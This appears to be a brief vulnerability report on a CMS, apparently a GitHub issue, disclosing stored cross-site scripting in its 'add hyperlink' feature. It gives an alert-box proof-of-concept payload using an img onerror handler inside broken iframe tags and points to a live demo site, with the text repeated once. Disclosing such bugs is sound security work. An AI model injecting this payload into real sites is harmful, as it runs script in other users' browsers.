There is a stored XSS in add hyperlink payload: `http://www.</iframe><img src=x onerror=alert(1)<iframe>` You can try in [demo](http://www.layuicms.com/v2/index.html)  
There is a stored XSS in add hyperlink
payload:
http://www.</iframe><img src=x onerror=alert(1)<iframe>You can try in demo
